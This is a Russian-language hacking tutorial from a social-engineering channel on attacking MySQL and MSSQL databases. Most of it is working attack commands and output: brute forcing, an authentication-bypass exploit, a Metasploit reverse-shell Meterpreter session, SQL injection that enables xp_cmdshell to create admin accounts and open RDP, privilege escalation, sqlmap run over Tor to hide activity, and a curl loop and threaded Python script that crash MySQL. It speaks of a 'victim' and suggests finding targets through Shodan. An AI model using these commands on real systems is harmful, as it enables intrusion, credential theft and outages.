Атаки на MySQL: теория, инструменты, примеры и практика.

Атаки на MySQL: теория, инструменты, примеры и практика.

Social Engineering

MySQL — одна из самых распространенных СУБД. Ее можно встретить повсюду, но наиболее часто она используется многочисленными сайтами. Именно поэтому безопасность базы данных — очень важный вопрос, ибо если злоумышленник получил доступ к базе, то есть большая вероятность, что он скомпрометирует не только ресурс, но и всю локальную сеть.

Сегодня смотрим теорию и практику, которая пригодится нам для проведения тестов на проникновение.

Начнем с определения. MySQL — это реляционная система управления базами данных, которая обладает разными движками хранения данных: MyISAM, InnoDB, Archive и другими. Как и у большинства open source проектов, у нее существуют свои ответвления, например MariaDB. Забегая вперед, скажу, что большинство рассмотренных векторов/техник/багов распространяется на различные движки и на ответвления, правда не всегда.

Поиск жертвы в локальной сети.

Для того чтобы кого-нибудь поломать, нужно его для начала найти. Допустим, что мы уже знаем, кто наша жертва, знаем его IP либо находимся в его локальной сети. Нам нужно просканировать его адрес (сеть) на наличие открытых портов. По стандарту MySQL использует порт 3306, его мы и будем искать. В арсенале каждого хакера должен присутствовать сканер Nmap, который позволяет находить различные сервисы, порты на целевых машинах. Пример команды для сканирования выглядит следующим образом:

nmap -sV -PN  -p <port> <ip>
  • -PN — очень полезная вещь, указывающая программе пропускать этап обнаружения хоста и сразу переходить к сканированию портов. Это нужно в том случае, если машина не отвечает на ping-сканирование, но при этом у машины могут быть открыты порты. В таком случае без данного флага Nmap пропустит данный хост;
  • -sV исследует открытые порты с целью получения информации о службе.

Для UDP-сканирования должен присутствовать флаг -sU.

nmap -sV -Pn -p 3306 172.16.2.114
Nmap scan report for 172.16.2.114
Host is up (0.00013s latency).
PORT     STATE SERVICE VERSION
3306/tcp open  mysql   MySQL (unauthorized)

Юзаем поисковик SHODAN для Интернета.

Если у тебя нет определенной жертвы и ты хочешь протестировать свои навыки, то можешь воспользоваться хакерским поисковиком Shodan. Он позволяет делать поиск по хостам и выводить информацию о различных сервисах на основе баннеров ответов. Также имеет возможность фильтровать по портам, стране, городу, операционным системам и так далее. Одна из отличнейших фишек — поиск сервисов с анонимной авторизацией или авторизацией со стандартными кредами.

Первичнный сбор информации.

Нужно начинать с самого простого — сбора информации. В Metasploit для этого служит auxiliary/scanner/mysql/mysql_version, просто сканер версий, который может сканировать целый пул адресов:

msf > use auxiliary/scanner/mysql/mysql_version
msf auxilary(mysql_version) > set RHOSTS 172.16.2.54
msf auxilary(mysql_version) > exploit 

В Nmap также существует модуль, который подключается к серверу и выводит разную полезную информацию: протокол, номер версии, состояние и соль.

nmap -sV -sC <target>

Брутфорс пассов.

Среди основных вещей, которые приходится часто выполнять, конечно, брутфорс — проверка на слабые или стандартные пароли пользователей. Но прежде чем приступать к подбору паролей, можно провести атаку user enumeration (перечисление пользователей). Ее можно провести против серверов версии 5.x, которые поддерживают старые механизмы аутентификации (CVE-2012-5615). После сканирования мы будем знать, какие пользователи существуют в базе, что значительно сокращает пул пользователей для бруторса.

nmap --script mysql-enum <target>

Составив наш пул имен и паролей, приступаем к бруту:

msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > set USER_FILE /root/login/logins
msf auxiliary(mysql_login) > set PASS_FILE /root/login/password
msf auxiliary(mysql_login) > set RHOSTS 172.16.2.54
msf auxiliary(mysql_login) > exploit

Nmap использует стандартные списки паролей и пользователей, но всегда можно взять свои:

nmap --script mysql-brute <target>
--script-args userdb=<path> - подключаем свой список логинов
--script-args passdb=<path> - подключаем свой список паролей

Кстати говоря, вот тебе отличный репозиторий, где можно найти самые популярные логины, пароли и не только. Ну и обычно при брутфорсе выполняется еще одна простая, но довольно важная проверка на пустой пароль для пользователя root или anonymous:

nmap -sV --script=mysql-empty-password <target>

Постэксплуатация.

Следующий важный шаг, который наступает после получения логина/пароля (через инъекцию или полным перебором), — это постэксплуатация. Я перечислю различные модули для Nmap’а и их предназначение. Итак, модуль, который производит вывод баз данных:

nmap -sV --script mysql-databases <target>

Модуль, который производит вывод пользователей:

nmap -sV --script mysql-users <target>

Модуль, который производит вывод переменных:

nmap -sV --script mysql-variables <target>

Модуль, который производит вывод пользователей и их хешей в виде, удобном для брутфорса:

nmap -p 3306 <ip> --script mysql-dump-hashes –script args='username=root,password=secret'
msf>use auxiliary/admin/mysql/mysql_hashdump

Модуль, который заменяет клиент MySQL и отправляет запросы в удаленную базу:

nmap -p 3306 <ip> --script mysql-query --script-\ args='query="<query>"[,username=<username>,password=<password>]'
msf>use auxiliary/admin/mysql/mysql_sql

Сканирование на старый баг CVE-2012-2122.

Отдельно стоит упомянуть про один интересный модуль, который присутствует как в Metasploit, так и в Nmap, — модуль проверки на CVE-2012-2122. Данная уязвимость позволяет удаленным пользователям обходить аутентификацию из-за ненадлежащей проверки возвращаемых значений. Существует возможность авторизации с неправильным паролем с вероятностью 1/256, так как MySQL считает, что пришедший токен от пользователя и ожидаемое значение равны.

Используя известное имя пользователя (например, root, который присутствует практически всегда) с любым паролем, можно подключиться к базе, повторяя подключение порядка 300 раз. После чего можно сдампить все пароли пользователей, сбрутфорсить их и коннектиться уже с легитимным паролем. Но не все так хорошо, как кажется, — данной уязвимости подвержены только сборки, где функция memcmp() возвращает значения за пределами диапазона от –128 до 127, то есть это достаточно ограниченное число систем:

  • Ubuntu Linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04);
  • OpenSuSE 12.1 64-bit MySQL 5.5.23-log;
  • Debian Unstable 64-bit 5.5.23-2;
  • Fedora;
  • Arch Linux.

Но если есть даже самая незначительная возможность попасть в базу, то стоит попробовать:

msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 172.16.2.54
msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf auxiliary(mysql_authbypass_hashdump) > exploit

Для Nmap при сканировании нужно использовать скрипт mysql-vuln-cve2012-2122:

nmap -sV --script mysql-vuln-cve2012-2122 <target>

Способ получение shell’а с Meterpreter.

В случае если у нас получилось сбрутить учетку sa, мы можем залогиниться в БД. Далее сценарий прост — включаем хранимую процедуру, позволяющую выполнять команды на уровне операционной системы, и заливаем на сервер Meterpreter shell. Крутые ребята написали для Метасплоита отличный модуль mssql_payload, который автоматизирует этот процесс:

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set RHOST 172.16.2.104
msf exploit(mssql_payload) > set USERNAME sa
USERNAME => sa
msf exploit(mssql_payload) > set PASSWORD root
PASSWORD => root
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > set LHOST 172.16.2.105
LHOST => 172.16.2.105
[*] Command Stager progress - 100.00% done (102246/102246 bytes)
[*] Meterpreter session 1 opened (172.16.2.105:4444 -> 172.16.2.104:3987) at 2015-02-20 10:42:52 -0500
meterpreter >

Сессия Meterpreter’a создана, теперь ты имеешь полный доступ. Можешь дампить хеш админа, делать скриншоты, создавать/удалять файлы, включать/выключать мышь или клавиатуру и многое другое. Пожалуй, это самый популярный шелл, который используется при тестах на проникновение. Полный список команд Meterpreter’a можно подсмотреть здесь.

Если логин/пароль не сбрутился?

Но не обольщайся, не так часто модуль mssql_login будет тебя радовать: пароль админы очень редко оставляют дефолтным. В таком случае получить шелл нам поможет SQL-инъекция. Представь себе HTML-форму, в которую пользователь вводит номер статьи, и простой уязвимый запрос к БД, причем все это работает под админской учеткой sa:

$strSQL = "SELECT * FROM [dbo].[articles] WHERE id=$id";

Переменная $id никак не фильтруется, значит, можно провести SQL-инъекцию, в которой любой запрос будет выполнен из-под админской учетки sa. Для того чтобы выполнять команды на уровне операционной системы, необходимо активировать хранимую процедуру xp_cmdshell, которая по умолчанию выключена. Нам потребуется отправить четыре запроса для ее активации:

  1. EXEC sp_configure 'show advanced options',1;
  2. reconfigure;
  3. ‘exec sp_configure 'xp_cmdshell',1;
  4. reconfigure

Системная хранимая процедура sp_configure позволяет просматривать, документировать, изменять и восстанавливать конфигурацию сервера. Наиболее простой способ получить доступ к серверу — включить RDP через реестр, создать пользователя с админскими правами и подключиться.

Включаем RDP:

10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Создаем пользователя:

10; exec master.dbo.xp_cmdshell 'net user root toor /ADD'

Даем права:

10;exec master.dbo.xp_cmdshell 'net localgroup administrators root/add'

Повышение привилегий (TRUSTWORTHY).

В предыдущем случае запрос к базе происходил от имени админа, и поэтому было так просто исполнять команды операционной системы. Но что делать, если мы имеем урезанную учетку, у которой не будет прав включить xp_cmdshell? В этом случае нам помогут хранимые процедуры и активированное свойство TRUSTWORTHY у базы.

Но начнем с самого начала. Для большей наглядности этого вектора опишу весь этап еще на стадии конфигурации базы и учетных записей. Создаем новую базу YOLOCREATE DATABASE YOLO;. Создаем нового пользователя bob с паролем marleyCREATE LOGIN bob WITH PASSWORD = 'marley'; Назначаем пользователя bob владельцем базы YOLO:

USE YOLO
ALTER LOGIN [bob] with default_database = [YOLO];
CREATE USER [bob] FROM LOGIN [bob];
EXEC sp_addrolemember [db_owner], [bob];

Затем устанавливаем свойство TRUSTWORTHY, которое определяет, разрешать ли объектам данной базы (представлениям, пользовательским функциям, хранимым процедурам) обращаться к объектам за пределами данной базы в режиме имперсонации: ALTER DATABASE YOLO SET TRUSTWORTHY ON. Логинимся в SQL Server под учеткой bob:marley.

Создаем хранимую процедуру для присвоения учетной записи bob привилегий sysadmin:

USE YOLO
GO
CREATE PROCEDURE sp_lvlup
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'bob','sysadmin'
GO

Убедимся, что до исполнения хранимой процедуры мы не имеем привилегий sysadmin:

SELECT is_srvrolemember('sysadmin')
результат = 0

Выполним созданную выше хранимую процедуру sp_lvlup:

USE YOLO
EXEC sp_lvlup

И опять проверим наши привилегии:

SELECT is_srvrolemember('sysadmin')
результат = 1

Процедура sp_lvlup создана для запуска от имени OWNER, что в данном случае является админской учетной записью sa. Это возможно, потому что db_owner создал хранимую процедуру для своей базы, а эта база сконфигурирована как надежная, то есть свойство TRUSTWORTHY = On. Без этого свойства не удалось бы исполнить процедуру из-за нехватки привилегий. Активированное свойство TRUSTWORTHY — это не всегда плохо. Проблемы начинаются, когда администраторы не понижают привилегии владельцам баз. В итоге учетной записи bob после исполнения процедуры sp_lvlup присвоены привилегии sysadmin. Чтобы посмотреть, у каких баз активировано свойство TRUSTWORTHY, можно воспользоваться следующим запросом:

SELECT name, database_id, is_trustworthy_on FROM sys.databases

Или для автоматизации всего процесса можно использовать модуль для Метасплоита mssql_escalate_dbowner_sqli:

use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
set rhost 172.16.2.104
set rport 80
set GET_PATH /login.asp?id=1+and+1=[SQLi];--
exploit
...
[+] 172.16.2.104:80 - Success! Bob is now a sysadmin!

Повышение привилегий (User Impersonation).

Следующий вектор имеет название User Impersonation. Иногда хранимым процедурам необходим доступ к внешним ресурсам, находящимся за пределами базы приложения. Чтобы это реализовать, разработчики используют привилегии IMPERSONATE и функцию EXECUTE AS, позволяющие выполнить запрос от имени другой учетной записи. Это не уязвимость как таковая, а скорее слабая конфигурация, приводящая к эскалации привилегий.

Как и в предыдущем примере, начнем разбирать суть вектора еще на стадии конфигурации. Первым делом создаем четыре учетные записи:

CREATE LOGIN User1 WITH PASSWORD = 'secret';
CREATE LOGIN User2 WITH PASSWORD = 'secret';
CREATE LOGIN User3 WITH PASSWORD = 'secret';
CREATE LOGIN User4 WITH PASSWORD = 'secret';

Затем даем пользователю User1 привилегии исполнять запросы от имени saUser2User3:

USE master;
GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];
GO

Логинимся в SQL Server под учетной записью User1 и проверяем, применились ли привилегии исполнять запросы от других учетных записей.

SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

Теперь проверим текущие привилегии:

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
Результат = 0

Ну а сейчас собственно сам трюк — выполним запрос от имени sa, так как выше мы дали привилегии учетной записи User1 выполнять запросы от имени sa:

EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
Результат = 1

Все в порядке, теперь можем выполнять команды от имени sa, а значит, можно включить хранимую процедуру xp_cmdshell:

EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

Вот и весь фокус. Для автоматизации, как обычно, можно воспользоваться модулем Метасплоита mssql_escalete_executeas_sqli:

use auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex
set rhost 172.16.2.104
set rport 80
set GET_PATH /login.asp?id=1+and+1=[SQLi];--
exploit
...
[+] 172.16.2.104:80 - Success! User1 is now a sysadmin!

Тулзы для тестирования безопасности MYSQL.

1.MSSQL Injection Helper - инжектим в код по быстрому.

  • MSSQL Injection Helper — это одна из множества утилит, предназначенных для работы с SQL-инъекциями. Однако основная ее особенность состоит в том, что она заточена исключительно под базы данных MSSQL. Такие утилиты не слишком часто встречаются в наше время, когда наиболее широкое распространение получили программы для раскрутки MySQL-инъекций.

Начать работу с программой не просто, а очень просто! MSSQL Injection Helper не требует установки, так что распаковывай архив в любое удобное для тебя место на диске, вбивай в соответствующее поле URL уязвимого скрипта (например, site.com/script.asp?id=1) и начинай работу.

Разработкой сканера занимаются два человека. Мирослав Штампар (@stamparm), профессиональный разработчик софта из Хорватии, и Бернардо Дамеле (@inquisb), консультант по ИБ из Италии, сейчас проживающий и работающий в Великобритании. Проект появился на свет в 2006 г. благодаря Даниэлю Беллучи (@belch), но по-настоящему стремительно стал развиваться после того, как в 2009 г. в работу включились Мирослав и Бернардо.

2.SQLMap - главный таран для БД.

Итак, что такое sqlmap? Одна из мощнейших открытых утилит для пентестера, которая автоматизирует процесс поиска и эксплуатации SQL-инъекций с целью извлечения данных или захвата удаленного хоста. Что делает sqlmap отличным от других утилит для обнаружения SQL-инъекций, так это возможность эксплуатировать каждую найденную уязвимость. Это означает, что sqlmap способен не только находить «дырку», но еще и заюзать ее по полной программе.

Сканер из коробки идет с огромным функционалом, начиная от возможности определения системы управления базой данных (далее DBMS), создания дампа (копии) данных и заканчивая получением доступа к системе с возможностью обращаться к произвольным файлам на хосте и выполнять на сервере произвольные команды. И все-таки главное — это обнаружение возможности сделать инъекцию SQL-кода.

Какие уязвимости может находить SQLMAP?

Есть пять основных классов SQL-инъекций, и все их поддерживает sqlmap:

  • UNION query SQL injection. Классический вариант внедрения SQL-кода, когда в уязвимый параметр передается выражение, начинающееся с «UNION ALL SELECT». Эта техника работает, когда веб-приложения напрямую возвращают результат вывода команды SELECT на страницу: с использованием цикла for или похожим способом, так что каждая запись полученной из БД выборки последовательно выводится на страницу. Sqlmap может также эксплуатировать ситуацию, когда возвращается только первая запись из выборки (Partial UNION query SQL injection).
  • Error-based SQL injection. В случае этой атаки сканер заменяет или добавляет в уязвимый параметр синтаксически неправильное выражение, после чего парсит HTTP-ответ (заголовки и тело) в поиске ошибок DBMS, в которых содержалась бы заранее известная инъецированная последовательность символов и где-то «рядом» вывод на интересующий нас подзапрос. Эта техника работает только тогда, когда веб-приложение по каким-то причинам (чаще всего в целях отладки) раскрывает ошибки DBMS.
  • Stacked queries SQL injection. Сканер проверяет, поддерживает ли веб-приложение последовательные запросы, и, если они выполняются, добавляет в уязвимый параметр HTTP-запроса точку с запятой (;) и следом внедряемый SQL-запрос. Этот прием в основном используется для внедрения SQL-команд, отличных от SELECT, например для манипуляции данными (с помощью INSERT или DELETE). Примечательно, что техника потенциально может привести к возможности чтения/записи из файловой системы, а также выполнению команд в ОС. Правда, в зависимости от используемой в качестве бэк-энда системы управления базами данных, а также пользовательских привилегий.
  • Boolean-based blind SQL injection. Реализация так называемой слепой инъекции: данные из БД в «чистом» виде уязвимым веб-приложением нигде не возвращаются. Прием также называется дедуктивным. Sqlmap добавляет в уязвимый параметр HTTP-запроса синтаксически правильно составленное выражение, содержащее подзапрос SELECT (или любую другую команду для получения выборки из базы данных). Для каждого полученного HTTP-ответа выполняется сравнение headers/body страницы с ответом на изначальный запрос — таким образом, утилита может символ за символом определить вывод внедренного SQL-выражения. В качестве альтернативы пользователь может предоставить строку или регулярное выражение для определения «true»-страниц (отсюда и название атаки). Алгоритм бинарного поиска, реализованный в sqlmap для выполнения этой техники, способен извлечь каждый символ вывода максимум семью HTTP-запросами. В том случае, когда вывод состоит не только из обычных символов, сканер подстраивает алгоритм для работы с более широким диапазоном символов (например для unicode’а).
  • Time-based blind SQL injection. Полностью слепая инъекция. Точно так же как и в предыдущем случае, сканер «играет» с уязвимым параметром. Но в этом случае добавляет подзапрос, который приводит к паузе работы DBMS на определенное количество секунд (например, с помощью команд SLEEP() или BENCHMARK()). Используя эту особенность, сканер может посимвольно извлечь данные из БД, сравнивая время ответа на оригинальный запрос и на запрос с внедренным кодом. Здесь также используется алгоритм двоичного поиска. Кроме того, применяется специальный метод для верификации данных, чтобы уменьшить вероятность неправильного извлечения символа из-за нестабильного соединения.

Несмотря на то что сканер умеет автоматически эксплуатировать найденные уязвимости, нужно детально представлять себе каждую из используемых техник. Важно также понимать, что для разных DBMS реализации атаки зачастую сильно отличаются. Все эти случаи умеет обрабатывать sqlmap и на данный момент поддерживает MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase и SAP MaxDB.

Приступаем к практике.

Надо сказать, что sqlmap написан на Python’е, а значит, ты сможешь запустить его под любой ОС. Единственное требование — это установленный в системе интерпретатор пайтона. В качестве объекта для теста на проникновение я буду использовать виртуальную машину, на которой будет крутиться стандартный стек LAMP (Linux/Apache/MySQL/PHP) вместе с несколькими уязвимыми веб-приложениями.

Сценарий № 1

Условимся, что мы хотим проэксплуатировать уязвимость, которая была найдена в GET-параметре «id» веб-страницы, расположенной по адресу http://www.site.com/vuln.php?id=1 (для указания URL будет ключ -u). Чтобы снизить подозрительную активность, мы будем маскироваться под обычный браузер (ключ —random-agent), а для подключения использовать защищенный канал TOR-сети (—tor). Итак, запускаем sqlmap:

$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1" --random-agent --tor

sqlmap/1.0-dev (r4365) — automatic SQL injection and database takeover tool

Сканер определит несколько точек для выполнения инъекций в 17 HTTP(S)-запросах. Обрати внимание, что для каждой из них указывается тип, а также пэйлоад.

Place: GET

Parameter: id

Type: boolean-based blind

Title: AND boolean-based blind — WHERE or HAVING clause

Payload: id=1 AND 1826=1826

Type: error-based

Title: MySQL >= 5.0 AND error-based — WHERE or HAVING clause

Payload: id=1 AND (SELECT 8532 FROM(SELECT COUNT(),CONCAT(CHAR(58,98,116,120,58), (SELECT (CASE WHEN (8532=8532) THEN 1 ELSE 0 END)),CHAR(58,98,121,102,58),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: UNION query

Title: MySQL UNION query (NULL) — 3 columns

Payload: id=1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,98,116,120,58), IFNULL(CAST(CHAR(74,76,73,112,111,113,103,118,80,84) AS CHAR),CHAR(32)),CHAR(58,98,121,102,58))

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: id=1 AND SLEEP(10)

Помимо этого, сканер выполнит распознавание базы данных, а также других технологий, использованных веб-приложением:

[02:01:45] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: MySQL 5.0

В конце концов полученные данные будут записаны в определенный файл:

[02:01:45] [INFO] Fetched data logged to text fi les under '/opt/sqlmap/output/www.site.com'

Сценарий № 2

Теперь следующий пример. Предположим, что мы хотим устроить более детальный fingerprinting (-f) и получить текстовый баннер (—banner) системы управления базой данных, включая ее официальное название, номер версии, а также текущего пользователя (—current-user). Кроме того, нас будут интересовать сохраненные пароли (—passwords) вместе с именами таблиц (—tables), но не включая системные, (—exclude-sysdbs) — для всех содержащихся в СУБД баз данных. Нет проблем, запускаем сканер:

$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1" --random-agent --tor -f --banner --current-user --passwords --tables --exclude-sysdbs

Очень скоро мы получим все данные об используемых технологиях, которые запрашивали:

[02:08:27] [INFO] fetching banner

[02:08:27] [INFO] actively fi ngerprinting MySQL

[02:08:27] [INFO] executing MySQL comment injection fi ngerprint

Error-based SQL injection web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: active fi ngerprint: MySQL >= 5.1.12 and < 5.5.0

comment injection fi ngerprint: MySQL 5.1.41

banner parsing fi ngerprint: MySQL 5.1.41

banner: ‘5.1.41-3~bpo50+1’

После — имя текущего пользователя:

[02:08:28] [INFO] fetching current user

current user: 'root@localhost'

Пример атаки на MySQL (готовый эксплойт)

DoS в функции procedure analyse() из MySQL CVE: 2015-4870

Автор эксплоита нашел возможность вызвать DoS в MySQL версий до 5.5.45 включительно. В функции procedure analyse() падение происходит при обработке подзапроса.

Пример вызова функции:

select * from `table_name`
procedure analyse((select*from(select 1)x),1);

Соответственно, PoC будет таким:

select * from information_schema.tables
procedure analyse((select*from(select 1)x),1);

Проверка:

mysql> select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql> select 1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)
ERROR: Can't connect to the server
mysql>

Другой пример атаки — это запуск полезной нагрузки, которая была сохранена в файл и подана на вход mysql.exe (он показан на скриншоте ниже).

Если после появления сообщения о падении проверить лог вывода Event Viewer, то ты сможешь увидеть, что приложение mysqld.exe действительно упало. При этом смещение для указателя на ошибку будет равно 0x000607f4.

Реализация DoS-атаки.

В качестве тестового стенда автор использовал Damn Vulnerable Web Application (DVWA).

Если атакующий найдет веб-приложение, уязвимое к SQL-инъекции, то он сможет с легкостью провести DoS-атаку, MySQL-сервер перестанет отвечать и все используемые базы данных тоже перестанут быть доступными.

В Windows достаточно простого запроса для вызова падения и, скорее всего, понадобится ручная перезагрузка:

http://localhost/dvwa/vulnerabilities/sqli/?id=1' procedure analyse((select*from(select 1)x),1)-- -&Submit=Submit#

На *nix-системах mysqld автоматически восстанавливается, но если мы пошлем многочисленные GET-запросы с такой полезной нагрузкой, то база данных все равно упадет.

Пример такой атаки с помощью bash-скрипта, который использует cURL для GET-запросов:

while true;
do curl "http://host/?id=1%27%20procedure%20analyse%28%28select*from%28select%201%29x%29,1%29--%20-" > /dev/null 2>&1
done;

Помимо небольшого bash-скрипта, автор написал версию эксплоита на Python:

class DoS(threading.Thread):
  def run(self):
    print("{0} started!".format(self.getName()))
    for i in range(100):
      urllib2.urlopen(req)

    time.sleep(.2)
    print("{0} finished!".format(self.getName()))
...
for i in range(10000):
  thread = DoS(name = "[+] Thread-{0}".format(i + 1))
  thread.start()
  time.sleep(.1)

Исходный код и оригинальную статью автора ты можешь найти в его блоге. Еще автор записал небольшое демонстрационное видео.

Также функция procedure analyse() может помочь при проведении атаки через SQL-инъекцию. Это позволяет легче определить число колонок. Результат выполнения представлен на скриншоте, где количество выводов равняется количеству колонок.

http://localhost/dvwa/vulnerabilities/sqli/?id=1' procedure analyse()-- -&Submit=Submit#

В примерах атаки, где место для инъекции находится после limit, ты можешь использовать procedure analyse() вместе с функциями updatexml и extractvalue в качестве подзапросов.

select username,password from users
order by 1 desc
limit 0,1
procedure analyse(updatexml(1,concat(0x7e,(version())),0),1);
select username,password from users
order by 1 desc
limit 0,1
procedure analyse(extractvalue(1,concat(0x7e,database())),1);

Производитель выпустил исправление.

Дополнительное чтиво.

Шпаргалка по командам sqlmap cheatsheet v1.0-SBD

Атаки на БД с сайтом

7 non-trivial ways to hack your MySQL Database

Теория по SQL injection 1, 2, 3, 4, 5, 6, 7

Туториалы по Sqlmap 1, 2, 3

Сброс пароля root MySQL 1, 2, 3

Social Engineering - Канал посвященный психологии, социальной инженерии, профайлингу, НЛП, Хакингу, Анонимности и безопасности в сети интернет, Даркнету и все что с ним связано. Добро пожаловать ;-)

S.E.Book - Литература социального инженера.

@Social_Engineering_bot - Бот обратной связи.

  1. Особенности оценки личности в процессе общения.
  2. Форензика в Linux. Софт, описание софта, примеры и приёмы.
  3. OSINT. Определение местоположения по фотографии. Глобальные и местные индикаторы.
  4. Всё о прокси: виды, как пользоваться, как проверить качество прокси.
  5. OSINT. ReconSpider - продвинутая платформа для сканирования IP-адресов.


Report Page